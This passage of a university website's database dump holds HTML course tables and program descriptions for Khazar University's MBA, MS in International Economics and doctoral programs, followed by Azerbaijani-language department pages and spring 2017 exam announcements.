<p>&nbsp;Financial Management and Policy</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 830</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Financial Risk Management</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 885</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Financial Statements Analysis</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 875</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Behavioral Finance</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;Major Electives</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Three major electives can be chosen&nbsp;</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 835</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Bank Management</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;FIN 845</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Finance</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 830</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Organizational Behavior</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;EMGT 850</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Operations Management and Logistics</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 810</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Strategic Business Communication</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Research Methods</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p><strong>&nbsp;Marketing;</strong></p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;<strong>Requires five of the following classes</strong></p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MKT 849</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Marketing</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MKT 846</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Consumer Behavior</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MKT 850</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Marketing Research</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MKT 837</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Service Marketing</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MKT 820</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Marketing Analysis and Strategies</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MKT 838</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Advertising Strategy</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MKT 810</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Marketing Policy</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;Major Electives</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Three major electives can be chosen</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>15</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 825</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Management and Cross National Environment</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;IB 820</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Business</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 830</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Organizational Behavior</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;EMGT 850</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Operations Management and Logistics</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 810</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Strategic Business Communication</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Research methods</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p><strong>IndustrialOrganization and Management</strong></p>\r\n  <p>&nbsp;-Project Management</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;<strong>Requires five of the following classes</strong></p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 870</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Project Management Framework</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 865</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Strategic Project Management</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;EMGT 850</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Operations Management and Logistics</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 830</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Organizational Behavior</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 810</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Strategic Business Communication</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 845</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Human Resource Management</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;Major Electives</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Three major electives can be chosen</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 825</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Management and Cross National Environment</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MGT 848</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Leadership, Power and Politics</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;MKT 850</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Marketing</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;IB 820</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;International Business</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Research methods</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>&nbsp;3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p>&nbsp;General MBA</p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;Choose five classes from concentration courses\r\n  or electives</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>15</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31%\">\r\n  <p><strong>&nbsp;TOTAL</strong></p>\r\n  </td>\r\n  <td width=\"56%\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"12%\">\r\n  <p>45</p>\r\n  </td>\r\n </tr>\r\n</tbody></table><br><div style=\"text-align:justify;font-size:medium\"><br></div>\r\n<p style=\"text-align:justify;font-size:medium\"><strong>Note:&nbsp;</strong>The School may also offer alternative\r\ncourses to those listed above.</p>\r\n<p><strong>Master of Science (MS) in International Economics</strong></p>\r\n<p style=\"text-align:justify;font-size:medium\">The MS in International&nbsp;Economics is designed to\r\nprovide in-depth theoretical and applied training needed to function\r\nsuccessfully as professional economists in the business environment, and as\r\nresearcher for further Ph.D. degree. The program furnishes the students with a\r\nsolid background in economic theory, knowledge of analytical, qualitative and\r\nquantitative tools needed for decision-making in various business settings. To\r\ncomplete the program a student must obtain 45 credits.</p>\r\n<div style=\"text-align:justify;font-size:medium\"><br></div><br>\r\n<table>\r\n <tbody><tr>\r\n  <td width=\"156\">\r\n  <p><strong>Code</strong></p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p><strong>Courses</strong></p>\r\n  </td>\r\n  <td>\r\n  <p><strong>Credits</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td>\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p>&nbsp;EMGT 810</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p>&nbsp;Energy Economics</p>\r\n  </td>\r\n  <td>\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p>&nbsp;MATH 820</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p>&nbsp;Statistics and Econometrics</p>\r\n  </td>\r\n  <td>\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p>&nbsp;ECON 830</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p>&nbsp;Managerial Economics</p>\r\n  </td>\r\n  <td>\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p>&nbsp;MGT 860</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p>&nbsp;Strategic Management</p>\r\n  </td>\r\n  <td>\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p>&nbsp;MKT 850</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p>&nbsp;International Marketing</p>\r\n  </td>\r\n  <td>\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p>&nbsp;MGT 828</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p>&nbsp;International Management</p>\r\n  </td>\r\n  <td>\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p>&nbsp;ECON 844</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p>&nbsp;Regional Economics</p>\r\n  </td>\r\n  <td>\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p>&nbsp;ECON 840</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p>&nbsp;Economic Development</p>\r\n  </td>\r\n  <td>\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p>&nbsp;ECON 845</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p>&nbsp;Human Resources and Labor Market</p>\r\n  </td>\r\n  <td>\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p>&nbsp;FIN 845</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p>&nbsp;International Finance</p>\r\n  </td>\r\n  <td>\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p>&nbsp;FIN 855</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p>&nbsp;Taxation and Tax Policy</p>\r\n  </td>\r\n  <td>\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p>&nbsp;ECON 855</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p>&nbsp;Macroeconomic Analysis and Forecasting</p>\r\n  </td>\r\n  <td>\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p>&nbsp;ECON 880</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p>&nbsp;International Trade</p>\r\n  </td>\r\n  <td>\r\n  <p>3</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p>&nbsp;Electives</p>\r\n  </td>\r\n  <td>\r\n  <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  6</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"156\">\r\n  <p>&nbsp;<strong>TOTAL</strong></p>\r\n  </td>\r\n  <td width=\"266\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td>\r\n  <p>45</p>\r\n  </td>\r\n </tr>\r\n</tbody></table><br><div style=\"text-align:justify;font-size:medium\"><br></div>\r\n<p style=\"text-align:justify;font-size:medium\"><strong>Note:&nbsp;</strong>The School may also offer alternative\r\ncourses to those listed above.</p>\r\n<p style=\"text-align:justify;font-size:medium\">&nbsp;Dual Master Programs in:</p>\r\n<p style=\"text-align:justify;font-size:medium\">“Energy and Sustainable Development Management”\r\njointly with IPAG – Institut de Préparation à l’Administration et à la\r\nGestion&nbsp;<br>\r\n<br>\r\n&nbsp;What is a “Double Degree”? &nbsp;</p>\r\n<div style=\"text-align:justify;font-size:medium\"><br></div><br><table style=\"\" mso-cellspacing:1.5pt;background:white;border-width:1px;border-style:solid\"=\"\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td>\r\n  <p>&nbsp;&nbsp;</p>\r\n  </td>\r\n  <td>\r\n  <br><p>&nbsp;Satisfy\r\n  degree requirements of home institution and host institution</p><p>&nbsp;Receive 2\r\n  degrees from home and host institutions</p><br>\r\n  </td>\r\n </tr>\r\n</tbody></table><br><div style=\"text-align:justify;font-size:medium\"><br></div>\r\n<p style=\"text-align:justify;font-size:medium\"><strong>Why a Double Degree?</strong></p>\r\n<div style=\"text-align:justify;font-size:medium\"><br></div><br><table style=\"\" mso-cellspacing:1.5pt;background:white;border-width:1px;border-style:solid\"=\"\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td>\r\n  <p>&nbsp;&nbsp;</p>\r\n  </td>\r\n  <td><p style=\"font-size:medium\">International Quality Standards&nbsp; Exposure to\r\n  excellent research environments&nbsp; Opportunity\r\n  to spend time at the partner institution&nbsp; A cultural\r\n  and social experience&nbsp; Makes you\r\n  unique&nbsp; Create an\r\n  international network&nbsp; Great\r\n  cities!&nbsp;</p></td>\r\n </tr>\r\n</tbody></table><br><div style=\"text-align:justify;font-size:medium\"><br></div>\r\n<p style=\"text-align:justify;font-size:medium\"><strong>Master Thesis&nbsp;</strong></p>\r\n<p style=\"text-align:justify;font-size:medium\">The Master students are able to select a Thesis as\r\ntheir culminating experience in the program. If a student chooses to write a\r\nthesis, the thesis shall normally be valued at 6 credits. The thesis supervisor\r\nand student must determine the topic, resources and format of the thesis. This\r\nhas to be approved by the Dean of the School, Director of the Graduate Programs\r\nand Head of Department. For details please refer to \"Theses and Dissertations:\r\nGeneral Guidelines for Graduate Studies\".</p>\r\n<p style=\"text-align:justify;font-size:medium\"><strong>Credit transfer procedures&nbsp;</strong></p>\r\n<p style=\"text-align:justify;font-size:medium\">A Master student may receive credit for the work\r\naccomplished in other recognized institutions that offer a graduate degree in\r\nthe field in which the work has been completed upon the recommendation of the\r\ndepartment and the approval of the Dean of the Graduate School.&nbsp;</p>'),(370,231,'en','Doctoral Programs','Doctoral Programs','<p style=\"text-align:justify\"><strong style=\"color:#9900cc\"><br></strong></p>\r\n<p style=\"text-align:justify\">The doctoral program requires the student to demonstrate mastery of professional knowledge and proficiency in the techniques of research. This is evidenced by the successful completion of appropriate, robust coursework and examinations, effective performance during classroom instruction, participation with faculty members in research, presentation of papers and reports, and the writing of a dissertation.</p>\r\n<p style=\"text-align:justify\">The Ph.D. dissertation is usually worth 10-12 credits but in some exceptional cases the number of credits for a Ph.D. dissertation may by increased.</p>\r\n<p style=\"text-align:justify\">The candidate with a Master Degree admitted to the Ph.D. program is required to take at least additional 7 courses (32 to 60 credits) including a dissertation although more credits and courses may be required to satisfy the particular\r\naims of the student and the student\'s advisor. A student should complete the Major Requirements with G.P.A. of 80 percent or above. Some Ph.D. majors allow a student to earn no more than 6 credits by teaching appropriate courses.</p>\r\n<p style=\"text-align:justify\">Research fields for Ph.D. degree are Finance, International Business, Management and Economics.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Programs of study</strong></p>\r\n<p style=\"text-align:justify\">Programs of study include Business and Economic Foundations, Quantitative and Research Methods, Economics, and the Major Field. A maximum of 15 semester hours is allowed in transfer. No course work that has been completed more than five\r\nyears prior to the admission may be used to meet any doctoral requirement. The student may be admitted to candidacy for a Ph.D. degree when s/he has completed all requirements for the degree except for the dissertation. Student admitted to the candidacy at each semester should register for dissertation semester hours.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Dissertation</strong></p>\r\n<p style=\"text-align:justify\">The objective of the dissertation is to demonstrate the candidate\'s ability to conduct and report research in a selected field. The doctoral degree is awarded in recognition of the achievement of independent and comprehensive scholarly work in a major area. The results of the dissertation research must make a significant contribution to the research area.</p>\r\n<p style=\"text-align:justify\">The Dissertation Committee consists of a chair and at least four members from inside and outside of the university.</p>\r\n<p style=\"text-align:justify\">The defense of a dissertation proposal must be held before the Dissertation Committee. The purpose of the dissertation proposal defense is to provide the Dissertation Committee with evidence of the significance and rationale of the\r\nproposed study. A dissertation proposal defense also provides the opportunities for the faculty to contribute to a scholarly critique of the proposed research.</p>\r\n<p style=\"text-align:justify\">The dissertation proposal should include the following: the statement of the purpose of the research; a review of the literature with analysis of the merits and demerits of known approaches and studies; the framework of theory to be\r\ndeveloped or tested; the methodology, techniques, and data to be used; the hypotheses to be developed and tested; a time frame for completion of the dissertation.</p>\r\n<p style=\"text-align:justify\">The completed dissertation must be defended in a final dissertation defense. An official announcement on the defense should be made at least two weeks before the defense. Four copies of the dissertation to be defended shall be made available in the office of the Graduate Program Director and Library at least two weeks in advance of the defense. Any interested faculty members, students or people from outside of the university may attend the examination and participate in the discussion.</p>\r\n<p style=\"text-align:justify\">All requirements for the doctoral degree are normally completed within 3-4 years of a student\'s first matriculation into the program. For more information refer to \"Theses and Dissertations: General Guidelines for Graduate Studies\"</p>\r\n<p>&nbsp;</p>\r\n<p style=\"text-align:justify\">For more information about the programs and admission requirements, visit <a href=\"http://www.khazar.org/en/menus/383/_phd\">The Division of Graduate Studies and Research</a><a href=\"http://www.khazar.org/en/menus/159/international_affairs_office#\"></a><a href=\"http://www.khazar.org/en/menus/159/international_affairs_office\"></a>.</p>'),(371,207,'az','Əsas səhifə','Əsas səhifə','<p style=\"text-align:justify\">İqtisadiyyat və menecment departamenti biznesin və iqtisadiyyatın müxtəlif sahələrini əhatə edən müasir çevik bakalavr, maqistr və PhD proqramlarıni təklif edir. Proqramlar inkişaf və karyera baxımından tələbə və mütəxəssislərin irəli sürdüyü tələbləri tam ödəyir, inkişaf üçün &nbsp;gərək olan dərin və geniş biliklər bazasını yaradırlar. Departamentin məqsədi tələbələrə bu günün rəqabətli qlobal biznes mühitində çoxşaxəli bizneslərin səmərəli idarə edilməsi üçün tələb olunan dərin biliklər vermək və qərarların qəbul edilməsinin müasir texnologiyaları ilə tanış etməkdir. &nbsp;&nbsp;</p><p style=\"text-align:justify\">Departament əməkdaşlıq proqramlar çərçivəsində Avropa və ABŞ-ın bir sıra uyğun aparıcı fakültələri ilə sıx əlaqələr qurmuşdur. Əməkdaşlıq proqramları departamentin əksəriyyət müəllimlərinə xaricdə ixtisasını artırmasına və treyninqlərdə iştirak etməsinə imkan verir. Aparıcı xarici universitetlərin nümayəndələri ixtisas və fənn proqramların müzakirə və dəyərləndirilməsi, müəllimlər üçün treyninqlərin keçirilməsində iştirak edirlər.</p><p style=\"text-align:justify\">Departament altı&nbsp;bölmədən ibarətdir: İqtisadiyyat, Maliyyə,&nbsp;Mühasibat uçotu,&nbsp;Biznes,&nbsp;Menecment, Marketinq&nbsp;və Magistr proqramları. Hər bir bölmə uyğun proqramların hazırlanması üzrə məsul qurumdur.</p><p style=\"text-align:justify\">Əməkdaşların araşdırma maraqları&nbsp;iqtisadi analiz və inkişaf,&nbsp; korporativ idarəetmə, qərarların qəbul ediməsi, maliyyə və bank işi, menecment, beynəlxalq ticarət və biznes, regional iqtisadiyyatı, iqtisadiyyat və biznes təhsili sahələrini əhatə edirlər.&nbsp;</p><p style=\"text-align:justify\">&nbsp;</p><p style=\"text-align:justify\"><strong>Missiyası</strong></p><p style=\"text-align:justify\">Xəzər Universiteti, İqtisadiyyat və Menecment Departamenti üç əsas iqtisadi sahə: iqtisadiyyat, iqtisadiyyat və menecment və nəhayət biznesin idarə edilməsi üzrə tələbələri tədris etməklə yanaşı, tələbələrə öz məqsədlərinə uğurla nail olmaları üçün şərait yaradır. Departament bütünlüklə hər üç sahəyə uyğun olaraq müasir iqtisadi sistemdəki yeniliklərin öyrənilməsi və bunun tələbələrə aşılanması prinsipi ilə qurulub. Eyni zamanda hər bir ixtisas tələbələrinə iqtisadi məlumatların toplanması və analiz olunması üçün əlverişli imkan yaradılır ki, bu da həmçinin tələbələrin şəxsi intellektual inkişafına çox dəyərli şans deməkdir.</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><em>Ceyhun Məmmədov</em></strong></p><p style=\"text-align:justify\"><strong><em>İqtisadiyyat və Menecment Departameninin müdiri</em></strong></p>'),(372,214,'az','Elan','Elan','<h3>Aralıq imtahanları  <br></h3><p>Aralıq imtahanları 03.04.2017-22.04.2017-ci il tarixlərində keçiriləcək.&nbsp;</p><p><a href=\"http://www.khazar.org/files/economics/a_midterm_2017_spring.pdf\">Aralıq imtahanı&nbsp;cədvəli</a></p><p>Final imtahanları 01.06.2017-21.06.2017-ci il tarixlərində keçiriləcək.</p><p><a href=\"http://www.khazar.org/files/eco_depart/Final%20exam%20spring%202017%20BBA.pdf\">Final imtahanı cədvəli</a></p><p><br></p><p style=\"text-align:justify\"><o:p><strong>Silsilə təlimlər</strong></o:p></p><p>İqtisadiyyat və Menecment Fakultəsi &nbsp;Maliyyə Bazarlarında Nəzarət Palatasının Təlim və Maarifləndirmə Mərkəzi ilə\r\nbirlikdə&nbsp; Xəzər Universitetində silsilə təlimlər keçirəcək. Təlimlərdə\r\nməqsəd tələbələrə interaktiv formada maliyyə bazarları ilə bağlı məlumatlar\r\nvermək, onların maliyyə savadlılığını artrırmaqdır. Təlim təmənnasız, ayda bir\r\ndəfə (1-1,5 saatlıq) keçiriləcəkdir. Sonda tələbələrə sertifikatların təqdim\r\nedilməsi də nəzərdə tutulur.</p>\r\n<p>&nbsp;</p>\r\n<p>İlk təlim 1 Dekabr saat 12:00 tarixində\r\n(otaq 303N) baş tutacaq. Təlimin mövzusu aşağıdakı kimidir. </p>\r\n<p>&nbsp;</p>\r\n<table cellspacing=\"0\" cellpadding=\"0\" style=\"\" margin-left:35.9pt;border-collapse:collapse;border-width:1px;border-style:solid;padding:0in=\"\" 0in=\"\" 0in\"\"=\"\">\r\n <tbody><tr>\r\n  <td width=\"34\">\r\n  <p><strong>№</strong></p>\r\n  </td>\r\n  <td width=\"234\" style=\"\" width:175.15pt;border-top:solid=\"\" #c0504d=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 2.25pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p><strong>Seminarın mövzusu</strong></p>\r\n  </td>\r\n  <td width=\"174\" style=\"\" width:130.6pt;border-top:solid=\"\" #c0504d=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 2.25pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p><strong>Təlimçi</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"34\">\r\n  <p>1.</p>\r\n  </td>\r\n  <td width=\"234\" style=\"\" width:175.15pt;border-top:none;border-left:none;border-bottom:solid=\"\" #c0504d=\"\" 